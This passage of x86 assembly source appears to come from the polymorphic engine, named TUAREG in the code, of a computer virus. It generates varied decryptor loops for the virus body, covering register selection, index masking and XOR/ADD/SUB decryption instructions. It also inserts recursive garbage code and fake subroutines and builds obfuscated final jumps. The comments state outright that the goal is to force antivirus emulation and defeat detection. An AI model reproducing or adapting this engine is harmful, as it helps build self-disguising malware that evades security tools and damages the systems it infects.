;; (each modification is composed of two main instructions) the less difficult
;; way to code that is making this. The modification of Index1 is adding a
;; random multiple-of-8 value. The modification of Index2 is adding a random
;; value between 4 and 7. The masking of Index1 is making the instruction
;; AND Index1,Virus_SizePOW2-4, and so is the masking of Index2.
;; Little maths: Since Index1 and Index2 are a random number between 0 and
;; Virus_SizePOW2, when we add a number to them less than Virus_SizePOW2 (as
;; it's the case), the resulting number never will be more than the double of
;; Virus_SizePOW2, so the immediate bit above the highest bit set on
;; Virus_SizePOW2-4 (in this case, due to the fact that Virus_SizePOW2-4 is
;; 7FFCh) is the bit 15. So, if we put in a dword Virus_SizePOW2 - 4 (7FFCh)
;; and we left the bit 15 cleared, we can have the rest of bits (16 to 31) set
;; to a random state, due to the fact that in Index1 and Index2 are going to
;; be always 0. This is a manner of making a confusion of this instruction
;; with the garbage ones, since it's a working mask, but it's random in a
;; great part of the whole dword.
;; So, we select a combination. Between the modification and the masking we
;; insert lots of garbage (as always).
                call    Random
                and     eax, 7
                jz    @@Combination0
                cmp     al, 2
                jb    @@Combination1
                jz    @@Combination2
                cmp     al, 4
                jb    @@Combination3
                jz    @@Combination4
                cmp     al, 6
                jae   @@IFC_Next_02   ; Select up to 6 combinations
@@Combination5: call    ModifyIndex2  ; comb 5: Modify Index2, Modify Index1,
                call    ModifyIndex1  ;         Mask Index1, Mask Index2
                jmp   @@SubComb1
@@Combination0: call    ModifyIndex1  ; comb 0: Modify Index1, Modify Index2,
                call    ModifyIndex2  ;         Mask Index1, Mask Index2
    @@SubComb1: call    MaskIndex1
                call    MaskIndex2
                jmp   @@IFC_Next_03
@@Combination1: call    ModifyIndex1  ; Comb 1: Modify Index1, Mask Index1,
                call    MaskIndex1    ;         Modify Index2, Mask Index2
                call    ModifyIndex2
                call    MaskIndex2
                jmp   @@IFC_Next_03
@@Combination2: call    ModifyIndex1  ; Comb 2: Modify Index1, Modify Index2,
                call    ModifyIndex2  ;         Mask Index2, Mask Index1
                jmp   @@SubComb2
@@Combination3: call    ModifyIndex2  ; Comb 3: Modify Index2, Mask Index2,
                call    MaskIndex2    ;         Modify Index1, Mask Index1
                call    ModifyIndex1
                call    MaskIndex1
                jmp   @@IFC_Next_03
@@Combination4: call    ModifyIndex2  ; Comb 4: Modify Index2, Modify Index1,
                call    ModifyIndex1  ;         Mask Index2, Mask Index1
    @@SubComb2: call    MaskIndex2
                call    MaskIndex1

;; When we arrive here, the code to decrypt is already coded. Now we have to
;; test if we decrypted all the virus body or we have to continue decrypting.
     @@IFC_Next_03:
                call    DoCMP    ; Do a CMP Index2,InitialValue (or similar)
                call    RandomFlags ; JNZ to loop or JZ/JMP?
                jz    @@MakeJZ      ; Jump to use JZ
           ; We make: JNZ Loop
                mov     ax, 850Fh ; Insert a JNZ.
                stosw       ; Store the opcode of JNZ
    @@CompleteJZ_JNZ:
                mov     eax, [ebp+JumpsToCompleteNdx]
                mov     [ebp+eax+JumpsToComplete], edi ; Insert the jump
                add     edi, 4                         ; address and increase
                add     eax, 4                         ; the index
                mov     [ebp+JumpsToCompleteNdx], eax
                call    DoRandomGarbage
                call    DoRandomGarbage       ; Make garbage
                call    DoFinalJMP       ; Make the jump to the decrypted part
                jmp   @@ContinueWithFunctionalCode
           ; We make: JZ Etiq1 / Garbage / JMP Loop / Etiq1: xxx
    @@MakeJZ:   mov     al, 74h ; Store the opcode of JZ (short)
                stosb
                inc     edi     ; Make size for displacement
    @@MakeJZ_000:
                push    dword ptr [ebp+CallsLevel1Ndx] ; Save CALLs indexes
                push    dword ptr [ebp+CallsLevel2Ndx] ; just in case we have
                push    dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
                                                       ; making
                jmp   @@MakeJZ_001     ; Jump to continue
    @@MakeJZ_003:
                sub     edi, 5         ; Eliminate the size of the "JMP Loop"
    @@MakeJZ_001:
                mov     esi, edi        ; Save current insertion address
                call    DoRandomGarbage ; Make garbage
                add     edi, 5          ; Add jump size
                sub     esi, edi        ; Get the size of displacement for JZ
                neg     esi
                cmp     esi, 5          ; Displacement = size of JMP?
                jbe   @@MakeJZ_003      ; If it is, repeat (no garbage made)
                cmp     esi, 7Fh        ; under the maximum displacement?
                jbe   @@MakeJZ_OK       ; If it's below or equal, jump
                pop     dword ptr [ebp+CallsLevel3Ndx] ; We have to repeat the
                pop     dword ptr [ebp+CallsLevel2Ndx] ; garbage (too many),
                pop     dword ptr [ebp+CallsLevel1Ndx] ; so we restore the in-
                                       ; dexes of the calls to eliminate any
                                       ; posible call made during this garbage
                                       ; creation
                sub     edi, esi       ; Restore EDI
                jmp   @@MakeJZ_000     ; Jump and loop
   @@MakeJZ_OK: pop     eax        ; Eliminate the saved call indexes, since
                pop     eax        ; the garbage is made correctly
                pop     eax
                mov     eax, esi   ; Get the displacement in EAX
                neg     esi        ; Get the index adding in ESI
                mov     byte ptr [edi+esi-1], al ; Complete the JZ
                sub     edi, 5     ; Make the JMP
                mov     al, 0E9h   ; Opcode of JMP
                stosb              ; Store the opcode
                jmp   @@CompleteJZ_JNZ ; Jump to save the address for later
                                       ; completion 

;; Since the function Branching is recursive, after this code will be other
;; branches and "functional code". This means that if we put in this point the
;; subroutines that we want to create, they'll be between code, not at the
;; beginning or at the end of the decryptor, technique that increases the
;; polymorphysm of the engine alot.

    @@ContinueWithFunctionalCode:
                xor     ecx, ecx
                call    CompleteCalls ; Complete calls of level 1
                mov     ecx, 84h
                call    CompleteCalls ; Complete calls of level 2
                mov     ecx, 84h*2
                call    CompleteCalls ; Complete calls of level 3

    @@Completed:
                mov     dword ptr [ebp+CallsLevel1Ndx], 0 ; Release must-be-
                mov     dword ptr [ebp+CallsLevel2Ndx], 0 ; created calls
                mov     dword ptr [ebp+CallsLevel3Ndx], 0

                mov     byte ptr [ebp+GarbageRecursivity], 0 ; Clear garbage
                                                ; recursivity set on the func-
                                                ; tion CompleteCalls
                inc     byte ptr [ebp+BranchIdentifier]
                ret    ; Return from the Branch
Branching       endp

;; Conditional jumps table
Op_CJumps  db      88h, 89h, 82h, 86h, 87h, 83h, 8Fh, 8Ch, 8Dh, 8Eh, 84h, 85h
           ;;      JS,  JNS, JB,  JBE, JA,  JAE, JG,  JL,  JGE, JLE, JZ,  JNZ

ArrayOfCalls1   dd      20h dup (0)  ; Place to put the addresses to the
ArrayOfCalls1Ndx dd     0            ; created subroutines. There are three
ArrayOfCalls2   dd      20h dup (0)  ; levels, being the first level callable
ArrayOfCalls2Ndx dd     0            ; from the first recursivity level of
ArrayOfCalls3   dd      20h dup (0)  ; garbage, and so on. Once in a subrouti-
ArrayOfCalls3Ndx dd     0            ; ne they only can call a subroutine of
                                     ; a higher level, to avoid inter-calls
                                     ; that would make the decryptor to not
                                     ; work (CALL_1 calls internally to CALL_2
                                     ; and CALL_2 calls CALL_1, for example).
DoNormalCall    db      0 ; This flag puts at the beginning of the call the
                          ; instructions PUSH EBP/MOV EBP,ESP, simulating the
                          ; creation of a stack frame. In this version of the
                          ; TUAREG isn't used, but externally seems a high
                          ; level function.
CallsLevel1     dd      20h dup (0)  ; This variables are used to store the
CallsLevel1Ndx  dd      0            ; address in the being-constructed de-
CallsLevel2     dd      20h dup (0)  ; cryptor where a CALL is. Later, when
CallsLevel2Ndx  dd      0            ; the branch is finished, we determine
CallsLevel3     dd      20h dup (0)  ; randomly if we use an already created
CallsLevel3Ndx  dd      0            ; subroutine or we create a new one.

;; This function completes the CALLs pointed by the addresses in the arrays
;; above. Depending on the level of recursivity, we stored the address of that
;; CALL instruction in one of the levels. When we call to this function, de-
;; pending on the value in ECX, we complete them pointing to a created subrou-
;; tine (stored in ArrayOfCallsX) or we create a new subroutine and store the
;; address to that new one into ArrayOfCallsX.
;; ECX=0 for Calls level 1, ECX=84h for Calls level 2, ECX=84h*2 for level 3
CompleteCalls   proc
                mov     edx, [ebp+ecx+CallsLevel1Ndx]
                shr     edx, 2    ; Get the number of calls to complete
                push    ecx
                and     cl, 0Fh
                shr     cl, 2
                inc     ecx
                mov     byte ptr [ebp+GarbageRecursivity], cl ;Set the garbage
                                                 ; recursivity (calls of level
                                                 ; 3 can't do any CALL, to
                                                 ; avoid too much recursivity)
                pop     ecx
  @@CompleteCalls:
                dec     edx          ; Have we completed all the calls?
                js    @@Completed    ; If yes, we end
                cmp     dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 0 ; Are there
                                                    ; any created subroutine?
                jz    @@CreateCall  ; If not, create a new one directly
                call    RandomFlags ; Get random flags
                jz    @@CreateCall  ; Create a call with a 50% of probability
    @@AnotherRandom:
                call    Random
                and     eax, 3Ch
                cmp     eax, [ebp+ecx+ArrayOfCalls1Ndx]
                jae   @@AnotherRandom    ; Get a random address from the list
                                         ; of created subroutines
                add     ebp, ecx
                mov     esi, [4*edx+ebp+CallsLevel1]
                lea     ebx, [esi+4]
                sub     ebx, [ebp+eax+ArrayOfCalls1]
                neg     ebx        ; EBX=Displacement from the created subrou-
                                   ; tine to the CALL instruction
                mov     [esi], ebx ; Complete CALL
                sub     ebp, ecx      ; Restore delta offset
                jmp   @@CompleteCalls ; Loop

       @@CreateCall:
                cmp     dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 80h ; If there are
                jz    @@AnotherRandom    ; too much created subroutines, jump
                                         ; to use any created one
                add     ebp, ecx
                mov     esi, [4*edx+ebp+CallsLevel1] ; Get the address to the
                lea     ebx, [esi+4]                 ; CALL to complete
                sub     ebx, edi
                neg     ebx
                mov     [esi], ebx
                sub     ebp, ecx

                call    CreateCALL                

                jmp   @@CompleteCalls ; Loop
    @@Completed:
                ret           ; Return from function
CompleteCalls   endp

CreateCALL      proc
                add     ebp, ecx    ; Fix delta offset (we can't put three
                                    ; registers inside the brackets :P)
                mov     ebx, [ebp+ArrayOfCalls1Ndx]
                mov     [ebp+ebx+ArrayOfCalls1], edi ; Now, set the address of
                add     ebx, 4                  ; storage (EDI) into the array
                mov     [ebp+ArrayOfCalls1Ndx], ebx  ; of created subroutines
                sub     ebp, ecx     ; Restore delta offset
 @@AgainCalls:  call    RandomFlags
                jz    @@NormalCall
                js    @@NormalCall   ; Simulate a stack frame with a 25% of
                                     ; probability
                cmp     byte ptr [ebp+KeyRegister], 5
                jz    @@NormalCall
                mov     byte ptr [ebp+DoNormalCall], 0
                mov     al, 55h      ; Insert PUSH EBP/MOV EBP,ESP
                stosb
                mov     ax, 0EC8Bh
                stosw
                jmp   @@NotNormalCall
   @@NormalCall:
                mov     byte ptr [ebp+DoNormalCall], 1
   @@NotNormalCall:
                mov     esi, edi     ; ESI=Address of storage
             ;   cmp     byte ptr [ebp+GarbageRecursivity], 2
             ;   jnz   @@SetNormalGarbage
             ;   mov     byte ptr [ebp+SpecialGarbage], 1
             ;   jmp   @@ContinueWithCALLContents
     @@SetNormalGarbage:
                mov     byte ptr [ebp+SpecialGarbage], 0
     @@ContinueWithCALLContents:
                call    DoRandomGarbage  ; Make a lot of garbage inside the
                call    DoRandomGarbage  ; subroutine (included CALLs to other
                call    DoRandomGarbage  ; subroutines, depending on the re-
                call    DoRandomGarbage  ; cursivity level)
                mov     byte ptr [ebp+SpecialGarbage], 0
                cmp     esi, edi         ; Test if EDI has grown (void subrou-
                                         ; tine)
                jz    @@NotNormalCall ;If it's void, repeat garbage generation
                cmp     byte ptr [ebp+DoNormalCall], 1
                jz    @@EndCall    ; If there is a stack frame simulation...
                mov     al, 5Dh    ; ...store POP EBP
                stosb
    @@EndCall:  mov     al, 0C3h 
                stosb              ; Store RET
                ret
CreateCALL      endp

PreCreateCALLs  proc
                xor     ecx, ecx
                mov     eax, 10h
                mov     byte ptr [ebp+GarbageRecursivity], 1
      @@MakeAnother:
                push    eax
                call    RandomFlags
                jz    @@DontMake
                call    CreateCALL
   @@DontMake:  pop     eax
                dec     eax
                jnz   @@MakeAnother
                mov     byte ptr [ebp+GarbageRecursivity], 0
                ret
PreCreateCALLs  endp

BifurcationNumber db    0  ; Number of recursivity for the function Branching
SpecialGarbage  db      0


JumpingArray    dd      10h dup (0) ; Array of possible target addresses to
JumpingArrayNdx dd      0           ; jump randomly to loop
JumpsToComplete dd      10h dup (0) ; Array where the looping jump addresses
JumpsToCompleteNdx dd   0           ; are stored for later completion

TouchedRegisters db     9 dup (0)   ; Flags of "touched", for registers

;; This address selects any register which isn't ESP. If the selected register
;; hasn't the "touched" flag actived, the register is initialized with DoMOV
;; using a random value. Moreover, the function (as SelectARegister and
;; SelectARegisterWithInit) saves the last register returned, so the next call
;; to this functions won't return the same register as the time before.
SelectAnyRegisterWithInit proc
       @@Other: call    Random
                and     al, 7
                cmp     al, 4
                jz    @@Other
                cmp     al, byte ptr [ebp+RegisterSelectedB4]
                jz    @@Other ; Select a random between 0 and 7 with isn't
                              ; ESP nor the last selected register
   SelectReg_Common:
                and     eax, 0FFh
                cmp     byte ptr [ebp+eax+TouchedRegisters], 1
                jz    @@OK    ; If the register is "touched", jump
                cmp     byte ptr [ebp+KeyRegister], al
                jz    @@Other
                push    edx
                push    eax
                mov     dl, al
                call    Random
                call    DoMOV   ; Initialize the register with a random value
                pop     eax
                pop     edx
                mov     byte ptr [ebp+eax+TouchedRegisters], 1 ; Set the reg.
                                                               ; as "touched"
       @@OK:    mov     byte ptr [ebp+RegisterSelectedB4], al ; Save it as the
                                                           ; "selecter before"
                ret     ; Return
SelectAnyRegisterWithInit endp

RegisterSelectedB4      db      0  ; Place where we save the last selected
                                   ; register

;; This function selects a register which is not Index1, Index2, Key or
;; Buffer (a register to use with garbage). If the register isn't "touched",
;; the register is initialized to a random value with a MOV or similar.
SelectARegisterWithInit proc
                call    SelectARegister ; Call to the register selection
                jmp     SelectReg_Common ; Jump to the register initialization
                                         ; common part of the function above
SelectARegisterWithInit endp

;; This function makes the instructions to modify the Index1 register
ModifyIndex1    proc
                mov     dl, [ebp+Index1Register]
                mov     eax, [ebp+Index1Modifier]
  ModifyNdxReg: call    DoADD
                call    DoRandomGarbage
                call    DoRandomGarbage
                ret
ModifyIndex1    endp

;; This function makes the instructions to modify the Index2 register
ModifyIndex2    proc
                mov     dl, [ebp+Index2Register]
                mov     eax, [ebp+Index2Modifier]
                jmp     ModifyNdxReg
ModifyIndex2    endp

;; This function makes the instructions to mask the Index1 with AND
MaskIndex1      proc
                mov     ecx, Virus_SizePOW2
                call    Random
                and     eax, 3
                inc     eax
                sub     ecx, eax
                call    Random
                and     eax, NOT(Virus_SizePOW2 - 1)
                and     eax, NOT(Virus_SizePOW2)
                or      ecx, eax     ; ECX=The pure mask with random bits
                                     ; where in the register to mask will be
                                     ; always 0
                mov     dl, [ebp+Index1Register]
    MaskNdxReg: or      dl, dl
                jz    @@EAX
                mov     ax, 0E081h   ; AND Reg,Value
                or      ah, dl
                stosw                ; Store the opcode
                jmp   @@InsertValue
       @@EAX:   mov     al, 25h      ; AND EAX,Value
                stosb                ; Store the opcode
@@InsertValue:  xchg    ecx, eax
                stosd                ; Store the masking value
                call    DoRandomGarbage  ; Make garbage
                call    DoRandomGarbage
                ret                  ; Return
MaskIndex1      endp

;; This function makes the instructions to mask the Index2 with AND
MaskIndex2      proc
                mov     ecx, Virus_SizePOW2 - 4
                call    Random
                and     eax, NOT(Virus_SizePOW2 - 1)
                and     eax, NOT(Virus_SizePOW2)
                or      ecx, eax
                mov     dl, [ebp+Index2Register] ; ECX=Mask with random bits
                                                 ; where in the register to
                                                 ; mask will be 0
                jmp     MaskNdxReg ; Jump to the common part
MaskIndex2      endp

;; This function is common when doing the "functional" code in the branch.
;; What it does is to XOR the Index2 with the Index1, do garbage, make the
;; code to decrypt and do more garbage.
Patch1          proc
                mov     dh, [ebp+Index1Register]
                mov     dl, [ebp+Index2Register]
                call    DoXORRegReg
                call    DoRandomGarbage
                call    DoRandomGarbage
                call    InsertDecryption
                call    DoRandomGarbage
                call    DoRandomGarbage
                ret
Patch1          endp

;; This function construct code for the decryption operation. It can make a
;; wide variety of methods, using one or two registers inside the brackets,
;; and using a direct value or a register to decrypt. The decryption is XOR,
;; ADD or SUB. No in vane, it's one of the largest functions in this engine.
InsertDecryption proc
                test    byte ptr [ebp+TuaregFlags], 1 ; Use register for key?
                jz    @@WithKeyReg                    ; Then jump to there

    ;; Here we'll construct a XOR/ADD/SUB DWORD PTR [Address], DirectValue
                cmp     byte ptr [ebp+EncryptType], 1 ; Make XOR, ADD or SUB
                jb    @@PutSUBValue
                jz    @@PutADDValue
 @@PutXORValue: mov     ah, 0B0h     ; XOR 2nd opcode
                jmp   @@PutValue
 @@PutSUBValue: mov     ah, 0A8h     ; SUB 2nd opcode
                jmp   @@PutValue
 @@PutADDValue: mov     ah, 80h      ; ADD 2nd opcode (the instruction is re-
                                     ; presented on the bits 6-5-4). And we
                                     ; set the two highest bits to 1-0, to
                                     ; activate a dword adding to the register
                                     ; inside the brackets
    @@PutValue: mov     al, 81h      ; Main opcode
                test    byte ptr [ebp+TuaregFlags], 6 ; Use buffer register?
                jnz   @@NoBufferReg          ; If not, use Index2
      ;; Here we made XOR/ADD/SUB DWORD PTR [BufferReg+AddingValue], KeyValue
      @@WithBufferReg:
                or      ah, byte ptr [ebp+BufferRegister] ; Select buffer reg.
                call    RandomFlags   ; Do we modify the buffer register B4?
                jz    @@NoAdditionalAddition ; If not, store directly the
                                           ; encrypted data begin address as
                                           ; addition
                push    eax      ; Save opcode
                call    Random   ; Get a random value
                mov     dl, byte ptr [ebp+BufferRegister] ;Get the buffer reg.
                call    DoADD   ; Do an ADD Reg,Value instruction (or similar)
                call    DoRandomGarbage ; to add a random value, and some gar-
                                        ; bage
                pop     ebx
                xchg    ebx, eax ; EAX=Opcode, EBX=Additional addition
                stosw            ; Store opcode
                mov     eax, [ebp+EncryptedDataBeginAddress] ; Subtract to the
                sub     eax, ebx    ; address addition the random ADDed to the
                stosd               ; buffer register and store it as addition
                jmp   @@Next_01     ; inside the brackets, and jump
      @@NoAdditionalAddition:
                stosw               ; Store the opcode
                mov     eax, [ebp+EncryptedDataBeginAddress] ; Store this
                stosd               ; address directly (without modifications)
                jmp   @@Next_01     ; Jump
      @@NoBufferReg:
                or      ah, byte ptr [ebp+Index2Register] ; Bind the reg. to
                                                          ; the opcode
                call    RandomFlags         ; Randomly select if we modify the
                jz    @@NoAdditionalAddition ;addition or we store the decrypt
                                             ; data begin address directly
                test    byte ptr [ebp+TuaregFlags], 2 ; PUSH/Decrypt/POP?
                jnz   @@UseBufferRegister    ;  If not, we modify buffer reg
                call    RandomFlags       ; Randomly we select to modify the
                jz    @@UseBufferRegister ; buffer register or Index2 register
                                          ; (since we push it and pop it later,
                                          ; we can modify it)
          @@UseIndexRegister:
                push    eax
                call    Random   ; Get a random value to add
                mov     dl, byte ptr [ebp+Index2Register]
                call    DoADD           ; Make an ADD with that random value
                call    DoRandomGarbage ; Make garbage
                pop     ebx
                xchg    ebx, eax
                stosw                   ; Store the opcode
                mov     eax, [ebp+EncryptedDataBeginAddress]
                sub     eax, ebx        ; Adjust the addition
                stosd                   ; Store the addition
                jmp   @@Next_01         ; Jump to complete the instruction
   ;; Here we are going to make a MOV BufferReg,RandomValue. Then, inside the
   ;; decryption instruction, we'll use double index instead one index:
   ;; XOR/ADD/SUB DWORD PTR [Index2Reg+BufferReg+Dword_Addition], KeyValue
          @@UseBufferRegister:
                push    eax
                call    Random          ; Get a random value
                mov     dl, byte ptr [ebp+BufferRegister]
                call    DoMOV        ; Move that value to the buffer register
                call    DoRandomGarbage ; Make garbage
                mov     ebx, eax
                pop     eax             ; Pop the opcode
                and     ah, 0F8h  ; Recode the 2nd opcode to insert a 3rd
                or      ah, 4
                stosw             ; Store the opcode
                mov     dh, byte ptr [ebp+Index2Register] ; Get the Index2
                call    RandomFlags ; 50% of probability to jump
                setz    cl
                jz    @@RJ_01
                xchg    dh, dl    ; Exchange the two registers (the order
                                  ; doesn't matter)
       @@RJ_01: shl     dl, 3     ; Construct the opcode using the Index2 reg
                mov     al, dh    ; and the buffer reg
                or      al, dl
                or      cl, cl
                jz    @@RJ_99
                push    eax
                call    Random
                and     al, 3
                mov     cl, al
                mov     eax, [ebp+EncryptedDataBeginAddress]
                shl     ebx, cl
                sub     eax, ebx
                mov     ebx, eax
                pop     eax
                ror     cl, 2
                or      al, cl
                stosb
                jmp   @@RJ_98
       @@RJ_99: stosb             ; Store the third opcode
                mov     eax, [ebp+EncryptedDataBeginAddress]
                sub     eax, ebx        ; Calculate the addition
                mov     ebx, eax
       @@RJ_98: mov     eax, ebx
                stosd             ; Store the addition
     @@Next_01:
                mov     eax, [ebp+DecryptKey] ; Get the decryption key and
                jmp   @@IFC_Next_01           ; jump to store it.

 ;; Here we use a key register, that's it:
 ;; XOR/ADD/SUB [Register1+(opt.Register2+)AdditionValue],KeyRegister
 @@WithKeyReg:  cmp     byte ptr [ebp+EncryptType], 1
                jb    @@PutSUBReg
                jz    @@PutADDReg
   @@PutXORReg: mov     al, 31h ; XOR opcode
                jmp   @@PutReg
   @@PutADDReg: mov     al, 01h ; ADD opcode
                jmp   @@PutReg
   @@PutSUBReg: mov     al, 29h ; SUB opcode. This time this is the first op-
                                ; code
    @@PutReg:   mov     ah, 80h ; Set dword addition in the 2nd opcode
                test    byte ptr [ebp+TuaregFlags], 6 ; Buffer register?
                jnz   @@NoBufferReg2     ; If not, jump
   ;; This time we made:
   ;; XOR/ADD/SUB [BufferReg+Addition],KeyRegister
      @@WithBufferReg2:
                mov     dh, [ebp+BufferRegister] ; Get the buffer register
                call    RandomFlags  ; Do we modify the addition?
                jz    @@Next_02      ; Jump if we store the decrypt data begin
                                     ; address directly
                push    edx
                push    eax
                call    Random     ; Get a random value to ADD
                mov     dl, byte ptr [ebp+BufferRegister]
                call    DoADD      ; Construct an ADD (or similar) with the
                                   ; buffer register and the random value
                call    DoRandomGarbage ; Make garbage
                pop     ebx
                xchg    ebx, eax
                pop     edx
                mov     dl, [ebp+KeyRegister] ; Get the key register
                shl     dl, 3       ; Construct the second opcode with the
                or      ah, dl      ; buffer register and the key register
                or      ah, dh
                stosw               ; Store the opcode
                mov     eax, [ebp+EncryptedDataBeginAddress] ; Calculate the
                sub     eax, ebx     ; addition after the ADD
                jmp   @@IFC_Next_01  ; Jump to store it and finish

   ;; Here we can construct an instruction similar to the above but using
   ;; Index2 or use Index2 and BufferReg as a two-index memory reference.
      @@NoBufferReg2:
                mov     dh, [ebp+Index2Register]
                call    RandomFlags  ; Randomly jump to complete the instruc-
                jz    @@Next_02      ; tion directly
                test    byte ptr [ebp+TuaregFlags], 2 ; Double XORing?
                jnz   @@UseBufferRegister2 ; If so, use only buffer register
                call    RandomFlags  ; Select if we use only Index2 or buffer
                jz    @@UseBufferRegister2 ; too
      ;; Here we construct:
      ;; XOR/ADD/SUB [Index2+Addition],KeyRegister
          @@UseIndexRegister2:
                push    edx
                push    eax
                call    Random
                mov     dl, byte ptr [ebp+Index2Register]
                call    DoADD   ; Modify the Index2 with an ADD
                call    DoRandomGarbage  ; Make garbage
                pop     ebx
                xchg    ebx, eax
                pop     edx
                mov     dl, [ebp+KeyRegister]
                shl     dl, 3
                or      ah, dl
                or      ah, dh
                stosw          ; Construct the opcode of the instruction
                mov     eax, [ebp+EncryptedDataBeginAddress] ; Calculate the
                sub     eax, ebx      ; addition and jump to store it
                jmp   @@IFC_Next_01
    ;; Here we are going to use the buffer register and the Index2 register.
    ;; As before, we'll use the buffer register with a random value instead
    ;; of adjusting the addition, so the relative address will be represented
    ;; in two registers plus a dword addition.
          @@UseBufferRegister2:
                push    eax
                call    Random
                mov     dl, byte ptr [ebp+BufferRegister]
                call    DoMOV    ; Make a MOV BufferReg,RandomValue (or simi-
                call    DoRandomGarbage ; lar) and some garbage
                pop     ebx
                xchg    ebx, eax
                mov     ah, 84h       ; Fixed (agh) 2nd opcode, which signali-
                                      ; ces dword addition and the use of a
                                      ; third opcode
                mov     dl, [ebp+KeyRegister]
                shl     dl, 3
                or      ah, dl       ; Set the key register
                stosw                ; Store the opcode
                mov     dl, [ebp+BufferRegister]
                mov     dh, [ebp+Index2Register]
                call    RandomFlags
                setz    cl
                jz    @@RJ_02
                xchg    dh, dl
       @@RJ_02: shl     dl, 3
                mov     al, dh      ; Now construct the third opcode, which
                or      al, dl      ; means (with the 2nd) [Reg1+Reg2+Value]
                or      cl, cl
                jz    @@RJ_97
                push    eax
                call    Random
                and     al, 3
                mov     cl, al
                pop     eax
                shl     ebx, cl
                ror     cl, 2
                or      al, cl
       @@RJ_97: stosb
                mov     eax, [ebp+EncryptedDataBeginAddress]
                sub     eax, ebx    ; Construct the addition...
                jmp   @@IFC_Next_01 ; ...and jump to store it

   ;; Here to put directly the decryption address added to the index register
     @@Next_02: mov     dl, [ebp+KeyRegister]
                shl     dl, 3
                or      ah, dl   ; Bind the registers to the opcode
                or      ah, dh
                stosw            ; Store the opcode
                mov     eax, [ebp+EncryptedDataBeginAddress] ; Get the addr.
    @@IFC_Next_01:
                stosd         ; Store it
                call    DoRandomGarbage  ; Make garbage
                call    DoRandomGarbage
                ret                      ; Return
InsertDecryption endp

;; Final jump to the decrypted part. With also a wide variety of methods, with
;; this there isn't a direct jump to the decrypted part, so the decryptor has
;; to be emulated completely to know where the decryptor jumps after the work
;; is done. Hahahahahahahaha! (devilish laugh :)
DoFinalJMP      proc
;; Ways of jumping to the decrypted part:
; Common entry:
; MOV [Address], Value (in many and variated types)
; (optional) XOR/ADD/SUB [Address], Value
;; Jump:
; JMP [Address]
; PUSH [Address] / RET
; MOV Reg,[Address] / JMP Reg
; MOV Reg,Address / JMP [Reg]
;; In the common entry, the value and or the memory address can be in regis-
;; ters (the value is moved to a random register before using that value).

                pushad          ; Undocumented instruction :P
    @@Repeat:   call    SelectOnlyTwoRegs ; It changes the reserve of four re-
                                        ; gisters to only two (no more needed)
                mov     ebx, [ebp+ReservedBssAddress] ; We reserved this addr.
                                ; to avoid that the calling to DoRandomGarbage
                                ; overwrites the data that we put here while
                                ; the decryptor is running.
                mov     eax, [ebp+EncryptedDataBeginAddress]
                call    DoMOVMemValue
      @@Next:   call    DoRandomGarbage   ; Make garbage
                call    DoRandomGarbage
                call    SelectOnlyTwoRegs ; Reselect two registers and put
                                          ; them as "reserved"
                mov     dl, [ebp+Index1Register]
                call    Random    ; Get the way of jumping to the address in
                and     al, 3     ; our variable
                jz    @@JMP__     ; Make JMP [Memory_Address]
                cmp     al, 2
                jb    @@PUSH__RET ; Make PUSH [Memory_Address]/RET
                jz    @@MOV__JMP  ; Make MOV Reg,[Memory_Address]/JMP Reg
        ; Make MOV Reg,Memory_Address/JMP [Reg]
   @@MOVJMP__:  call    RandomFlags
                setz    cl
                jz    @@MJ__Direct01
                call    Random
                sub     ebx, eax
                jmp   @@MJ__Direct03
      @@MJ__Direct01:
                mov     eax, ebx         ; EAX=Reserved memory address
      @@MJ__Direct03:
                call    DoMOV
                call    DoRandomGarbage
                call    DoRandomGarbage
                or      cl, cl
                jnz   @@MJ__Direct02
                mov     ax, 0A0FFh
                or      ah, dl
                stosw
                mov     eax, ebx
                stosd
                jmp   @@Return
   @@MJ__Direct02:
                cmp     dl, 5      
                jz    @@MJ__EBP        ; If the reserved register is EBP, jump
                mov     ax, 20FFh   ; Opcode of JMP [Reg]
                or      ah, dl      ; Set the used register
                stosw               ; Insert the instruction
                jmp   @@Return      ; Return
       @@MJ__EBP:
                mov     ax, 65FFh   ; We have to store JMP [EBP+00], so we do
                stosw               ; it (a single EBP can't go alone, since
                xor     al, al      ; 5 is the identifier of a direct memory
                stosb               ; address)
                jmp   @@Return      ; Return

         ;; MOV Reg,[Memory_Address]/JMP Reg
   @@MOV__JMP:  mov     dl, [ebp+Index1Register] ; Get the reserved register
                call    DoMOVRegMem
                call    DoRandomGarbage  ; Make garbage
                call    DoRandomGarbage
                mov     ax, 0E0FFh    ; Opcode of JMP Reg
                or      ah, dl        ; Set the register in the opcode
                stosw                 ; Store the opcode
                jmp   @@Return        ; Return

           ;; PUSH [Memory_Address]/RET
   @@PUSH__RET: call    DoPUSHMem
                call    DoRandomGarbage
                call    DoRandomGarbage
                mov     al, 0C3h   ; AL=opcode of RET
                stosb              ; Store it
                jmp   @@Return     ; Return

           ;; JMP [Memory_Address]
   @@JMP__:     call    RandomFlags
                jz    @@JMP__Direct
                call    Random
                sub     ebx, eax
                call    DoMOV
                call    DoRandomGarbage
                call    DoRandomGarbage
                mov     ax, 0A0FFh
                or      ah, dl
                jmp   @@Store_01
   @@JMP__Direct:
                mov     ax, 25FFh ; AX=opcode of JMP [Memory_Address]
    @@Store_01: stosw             ; Store it
                mov     eax, ebx
                stosd            ; Complete the opcode with the memory address
              ;  jmp   @@Return

   @@Return:    mov     eax, dword ptr [ebp+CopyOfUsedRegisters]
                mov     dword ptr [ebp+Index1Register], eax ; Restore the re-
                                                            ; served registers
                mov     [esp+S_EDI], edi ; Replace EDI in the stack
                popad             ; Restore registers
                ret               ; Return
DoFinalJMP      endp

;; This function selects two registers from Index1, Index2 or Counter, and
;; sets them on Index1. The key register remains unchanged, since it's needed
;; for the indexed memory accesses, due to the fact that its value never
;; changes.
SelectOnlyTwoRegs proc
                push    eax
                push    edx
     @@OtherRandom:
                call    Random      ; Get a random value from 0 to 3
                and     eax, 03h
                cmp     al, 2       ; Key register?
                jz    @@OtherRandom ; If so, then get another random
                mov     al, byte ptr [ebp+eax+CopyOfUsedRegisters] ; Get the
                                                            ; register in DL
                or      eax, 08080800h ;Set the other three as 08 (unreserved)
                mov     dword ptr [ebp+Index1Register], eax ; Set them as the
                                                            ; new registers
                mov     al, byte ptr [ebp+CopyOfUsedRegisters+2] ; Restore the
                mov     byte ptr [ebp+KeyRegister], al  ; key register.
                                 ; This must be for the indexed memory writes
                pop     edx
                pop     eax
                ret          ; Return
